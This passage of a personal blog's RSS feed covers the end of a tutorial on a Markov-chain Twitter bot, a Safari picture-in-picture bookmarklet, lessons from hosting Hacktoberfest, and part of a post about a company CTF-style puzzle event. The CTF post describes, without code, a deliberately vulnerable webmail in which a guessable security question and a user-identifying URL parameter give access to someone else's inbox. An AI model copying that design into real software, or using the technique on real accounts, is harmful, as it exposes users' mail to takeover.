string&quot;&gt;&quot;wb&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Tweeting&lt;/h2&gt;
&lt;p&gt;Finally, I needed a script to handle the posting to Twitter:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; cPickle &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; pickle
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; os
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; sys
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; tweepy
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; POSifiedText &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Load model and variables&lt;/span&gt;
data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; pickle&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;load&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; current_dir&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;/model.p&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;rb&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Generate sentence&lt;/span&gt;
sentence&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;model&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;make_short_sentence&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;140&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; max_overlap_total&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;overlap_total&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; max_overlap_ratio&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;overlap_ratio&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; tries&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;tries&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 280&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Authenticate with Twitter and post tweet&lt;/span&gt;
auth &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; tweepy&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;OAuthHandler&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;environ&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;CONSUMER_KEY&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;environ&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;CONSUMER_SECRET&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;set_access_token&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;environ&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;ACCESS_KEY&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;environ&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;ACCESS_SECRET&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

api &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; tweepy&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;API&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
api&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;update_status&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sentence&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Deploying the bot&lt;/h2&gt;
&lt;p&gt;To deploy the bot, you can set up a cronjob on your own server, or you can use Heroku&apos;s &lt;a href=&quot;https://www.heroku.com/free&quot;&gt;Free Tier&lt;/a&gt;, or Google Cloud&apos;s &lt;a href=&quot;https://cloud.google.com/appengine/docs/standard/&quot;&gt;App Engine Standard&lt;/a&gt; &lt;a href=&quot;https://cloud.google.com/free/docs/always-free-usage-limits&quot;&gt;Free Tier&lt;/a&gt;, for instance.&lt;/p&gt;
&lt;p&gt;In this demonstration, I&apos;ll use Heroku.&lt;/p&gt;
&lt;p&gt;To follow along, your root project directory must be a git-repo, so you&apos;ll need to create one, if you haven&apos;t already. If you&apos;ve checked out Dankenstein, you should run &lt;code class=&quot;language-text&quot;&gt;rm .git/config&lt;/code&gt; from the project root before creating your own.&lt;/p&gt;
&lt;p&gt;Make sure you&apos;ve generated a model (filename &lt;code class=&quot;language-text&quot;&gt;model.p&lt;/code&gt; using Dankenstein or the example code), and added it to your Git-repo.&lt;/p&gt;
&lt;p&gt;You&apos;ll need to register a free &lt;a href=&quot;http://heroku.com/&quot;&gt;Heroku&lt;/a&gt; account. Choose &quot;Python&quot; as your Primary Development Language. You&apos;ll also need to download and install the &lt;a href=&quot;https://devcenter.heroku.com/articles/heroku-cli#download-and-install&quot;&gt;Heroku Toolbelt&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Then run the following from your shell:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;heroku login &lt;span class=&quot;token comment&quot;&gt;# authenticate using your login info&lt;/span&gt;
heroku create &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;your-app-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# create an application&lt;/span&gt;
heroku config:add &lt;span class=&quot;token assign-left variable&quot;&gt;CONSUMER_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;consumer_key &lt;span class=&quot;token assign-left variable&quot;&gt;CONSUMER_SECRET&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;consumer_secret &lt;span class=&quot;token assign-left variable&quot;&gt;ACCESS_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;access_key &lt;span class=&quot;token assign-left variable&quot;&gt;ACCESS_SECRET&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;access_secret
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; push heroku master &lt;span class=&quot;token comment&quot;&gt;# push to the dyno&lt;/span&gt;
heroku ps:exec &lt;span class=&quot;token comment&quot;&gt;# ssh to the dyno; will trigger a restart the first time&lt;/span&gt;
heroku &lt;span class=&quot;token function&quot;&gt;ps&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# check status&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You&apos;ll also need to make a &lt;code class=&quot;language-text&quot;&gt;Procfile&lt;/code&gt;, which defines the job for your worker dyno. If you&apos;ve checked out Dankenstein, the accompanying &lt;code class=&quot;language-text&quot;&gt;Procfile&lt;/code&gt; only contains the following:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;worker: &lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt; dankenstein/bot.sh &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sleep&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14400&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This will make the worker dyno generate a tweet based on your model, and sleep for four hours before doing the same all over again.&lt;/p&gt;
&lt;p&gt;Make your adjustments to the repo and push the master branch to heroku again:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; push heroku master&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Congratulations! You have just made your very own Markov Chain Twitter bot!&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;&quot;BUT I DON&apos;T WANT TO PROGRAM&quot;&lt;/h1&gt;
&lt;p&gt;If you don&apos;t want to implement a bot yourself, the generator I produced during my work on my bot, &lt;a href=&quot;https://twitter.com/KarlJobs&quot;&gt;Karl Jobs&lt;/a&gt;, is available on GitHub as &lt;a href=&quot;https://github.com/EivindArvesen/dankenstein&quot;&gt;Dankenstein&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Dankenstein will let you&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Recreate the corpora I have used as examples in this post&lt;/li&gt;
&lt;li&gt;List available corpora and possible candidate combinations&lt;/li&gt;
&lt;li&gt;Generate a bot&lt;/li&gt;
&lt;li&gt;Output sentences&lt;/li&gt;
&lt;li&gt;Tweet&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Feel free to create an issue if you find a bug, or a PR if you implement support for a new dataset!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[PiP-ify All the Things!]]></title><description><![CDATA[If you're also someone who enjoys multitasking and use an Apple computer, you might find yourself lamenting lack of support for "Picture-In…]]></description><link>https://eivindarvesen.com/blog/2022/10/20/pip-ify-all-the-things</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2022/10/20/pip-ify-all-the-things</guid><content:encoded>&lt;p&gt;If you&apos;re also someone who enjoys multitasking and use an Apple computer, you might find yourself lamenting lack of support for &quot;Picture-In-Picture&quot; in Safari on &lt;em&gt;every site out there&lt;/em&gt; (looking at you, HBO Max!)&lt;/p&gt;
&lt;p&gt;Here&apos;s a solution: Let&apos;s create a bookmark that will create a simple button on any site, that will trigger PiP on the first HTML5 video-element it finds.&lt;/p&gt;
&lt;h2&gt;The bookmark&lt;/h2&gt;
&lt;p&gt;As we&apos;re not able to manually create bookmarks in Safari anymore (!), we&apos;ll first have to add a new bookmark that we&apos;ll edit later.&lt;/p&gt;
&lt;p&gt;Press &lt;code class=&quot;language-text&quot;&gt;CMD&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;D&lt;/code&gt; on your keyboard, and add the bookmark; Make sure you save it under &quot;☆ Favorites&quot; (the one with a star-sign in front of the name in the drop-down-menu).
Just name it &lt;code class=&quot;language-text&quot;&gt;PiP&lt;/code&gt; for now.&lt;/p&gt;
&lt;p&gt;Then, identify the bookmark in your &quot;Favorites Bar&quot; – if you can&apos;t see it at the top of your Safari window, below the URL / address bar, select the &quot;View&quot; menu and click &quot;Show Favorites Bar&quot;.
Right click the bookmark, and click &quot;Edit address...&quot;&lt;/p&gt;
&lt;p&gt;Paste the following:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token literal-property property&quot;&gt;javascript&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;pip-bm-btn&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;pip-bm-btn&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; button &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;button&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;pip-bm-btn&quot;&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;innerText &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;PiP&quot;&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;click&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;video&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;requestPictureInPicture&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;body&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;button&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;position &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;fixed&quot;&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;zIndex &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10000&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;top &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;left &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;backgroundColor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#dadada&quot;&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;color &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;black&quot;&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fontFamily &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;system-ui&quot;&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fontSize &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;11px&quot;&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fontWeight &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;400&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;margin &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2px&quot;&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;padding &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2px&quot;&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;borderRadius &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;4px&quot;&lt;/span&gt;
    button&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;border &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1 px solid black&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;and click &quot;Done&quot;.&lt;/p&gt;
&lt;p&gt;You should now be able to click the &quot;PiP&quot;-bookmark on any page with an HTML5 video element to trigger &quot;Picture-In-Picture&quot;. If you want to get rid of the button without refreshing the page, you can just click the link again.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Update October 31st 2022&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you don&apos;t want to deal with the above, I&apos;ve created an &lt;a href=&quot;https://github.com/EivindArvesen/pipify&quot;&gt;extension&lt;/a&gt; that will trigger PiP-mode on the first HTML5 video on any web page.&lt;/p&gt;
&lt;p&gt;Because of API limitations, however, any such video must have been interacted with by the user at least once before the button will work.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[5 things I learned hosting Hacktoberfest]]></title><description><![CDATA[Back in October, I hosted a Hacktoberfest event at Bouvet's HQ here in Oslo. As host, I also held a quick intro as well as a "crash course…]]></description><link>https://eivindarvesen.com/blog/2018/12/12/5-things-i-learned-hosting-hacktoberfest</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/12/12/5-things-i-learned-hosting-hacktoberfest</guid><content:encoded>&lt;p&gt;Back in October, I hosted a Hacktoberfest &lt;a href=&quot;https://www.meetup.com/Bouvet-Oslo-Tech/events/255533169/&quot;&gt;event&lt;/a&gt; at Bouvet&apos;s HQ here in Oslo.&lt;/p&gt;
&lt;p&gt;As host, I also held a &lt;a href=&quot;/content/pages/slides/Intro-Hacktoberfest-2018.pdf&quot;&gt;quick intro&lt;/a&gt; as well as a &quot;&lt;a href=&quot;/content/pages/slides/Intro-Hacktoberfest-2018.pdf&quot;&gt;crash course in open source&lt;/a&gt;&quot;.&lt;/p&gt;
&lt;p&gt;In case you don&apos;t know, &lt;a href=&quot;https://hacktoberfest.digitalocean.com/&quot;&gt;Hacktoberfest&lt;/a&gt; is a month-long celebration of open source software, supported by companies such as GitHub, DigitalOcean and twilio. Community events are held around the world with the purpose of learning about, contributing to and celebrating all things open source.&lt;/p&gt;
&lt;p&gt;This was my first time hosting a community event such as this, and I picked up a few things from my experience:&lt;/p&gt;
&lt;h2&gt;1. One week is not a lot of prep-time&lt;/h2&gt;
&lt;p&gt;If you want or need speakers for an event, you should start recruiting them ASAP! Though I got a lot of positive feedback from community figures I contacted, not all of them had time or could commit on such a short notice – which is totally understandable!&lt;/p&gt;
&lt;p&gt;Venue, food and drinks, etc. should also ideally be fixed long before the event. Thankfully, &lt;a href=&quot;https://en.bouvet.no&quot;&gt;Bouvet&lt;/a&gt; sponsored the food and drinks in my case!&lt;/p&gt;
&lt;h2&gt;2. Enforce your schedule&lt;/h2&gt;
&lt;p&gt;Speakers gonna speak. Make &apos;em keep it short and sweet. I&apos;m thinking 10-15 minutes a person at a maximum. People are there to participate, after all – so the sooner they can get active, the better!&lt;/p&gt;
&lt;h2&gt;3. Recruit a volunteer or two&lt;/h2&gt;
&lt;p&gt;Though I definitely got help from a couple of fellow Bouvet&apos;ers, there definitively would have been less pressure if I&apos;d recruited a few volunteers I could give some responsibility and delegate some tasks to.&lt;/p&gt;
&lt;h2&gt;4. People are different&lt;/h2&gt;
&lt;p&gt;Any event has a target demographic. Whether it is newbies or intermediate coders, it will affect the event&apos;s areas of focus, what kind of speakers and presentations there should be, and so on.&lt;/p&gt;
&lt;p&gt;In the case of my Hacktoberfest-event, even if I was targeting intermediates, I could have made special resources and people available to help newcomers out.&lt;/p&gt;
&lt;h2&gt;5. You meet a lot of cool people&lt;/h2&gt;
&lt;p&gt;There are many interesting people in the community. If you talk to them, you&apos;re bound to learn something!&lt;/p&gt;
&lt;p&gt;At the Hacktoberfest event, I met someone who was just starting out in webdev, who was also on crutches, recovering from a motorcycle-accident; I talked a bunch about Kuberetes with my colleague &lt;a href=&quot;https://no.linkedin.com/in/jamie-wiebe-68709547&quot;&gt;Jamie&lt;/a&gt;, who also held a presentation; I talked to &lt;a href=&quot;https://no.linkedin.com/in/terjeisland&quot;&gt;Terje&lt;/a&gt; from Microsoft about wxWidgets, which I learned Microsoft has contributed a lot to, and I met a student/cryptocurrency-entrepreneur from the Baltics.&lt;/p&gt;
&lt;p&gt;All in all, it was a very enjoyable evening, and I already plan to contribute to Hacktoberfest next year in some form or another!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Bouvet Battle Royale 2018]]></title><description><![CDATA[Every November, Bouvet hosts an internal competitive weekend event called Battle Royale. We usually check in at a hotel, are divided into…]]></description><link>https://eivindarvesen.com/blog/2018/12/16/bouvet-battle-royale-2018</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/12/16/bouvet-battle-royale-2018</guid><content:encoded>&lt;p&gt;Every November, Bouvet hosts an internal competitive weekend event called Battle Royale.&lt;/p&gt;
&lt;p&gt;We usually check in at a hotel, are divided into teams, and then we are presented with some sort of competition. Last year, for instance, each team were to make a game agent strategy. These would be pitted against each other the following day, in a bomberman-inspired platform game.&lt;/p&gt;
&lt;p&gt;This year, however, I was part of the planning committee.&lt;/p&gt;
&lt;p&gt;At some point during the intro-sessions, after talks of AI, IOT, drones, websec, and so on, someone suggested something related to the &quot;escape room&quot; phenomenon.&lt;/p&gt;
&lt;p&gt;Fast forward a few months, and we had a narrative about a tobacco-company CEO gone missing. The contestant teams would have to solve various puzzle to get clues and score point on a CTF-style scoreboard.&lt;/p&gt;
&lt;p&gt;Problems included stuff like reading data from an RFID chip and ROT13-decode it, reversing bytes in a QR-code, analyzing beat frequencies in music referenced elsewhere, analyzing packet capture from network traffic, and ignoring irrelevant hints and information.&lt;/p&gt;
&lt;p&gt;I contributed two problems to the game:&lt;/p&gt;
&lt;h2&gt;Insecure email&lt;/h2&gt;
&lt;p&gt;If players discovered a contact address for the &quot;company&quot; and sent an email to it, they would get an autoreply that told them to contact the &quot;secretary&quot;. If players emailed this address, they would get a broken autoreply with an error message and a link to a webmail login page.&lt;/p&gt;
&lt;p&gt;If players input the secretary&apos;s address and hit the &quot;forgot password&quot;-button, they are presented with her security question – which is &quot;Who is my boss?&quot;. If players type &quot;patrick&quot; (which they would know from previous steps in the game&quot;) they will be told that her name is &quot;patrick&quot;. They can then log in as the secretary.&lt;/p&gt;
&lt;p&gt;Logged in as the secretary, users can see that the user they are logged in as is reflected in a URL-parameter. If they change this to be Patrick&apos;s email-adress (which can be found, as he has sent the secretary an email) they will gain access to Patrick&apos;s inbox. Here they can find an email from his secretary with the subject &quot;Travel itinerary&quot;. The only text that email contains is &quot;please find attached not a pipe&quot;, and an attachment which is an image of the painting &quot;The Treachery of Images&quot; (also known as &quot;This is Not a Pipe&quot;). This image is really used to hide a message via steganography.&lt;/p&gt;
&lt;h2&gt;Steganography&lt;/h2&gt;
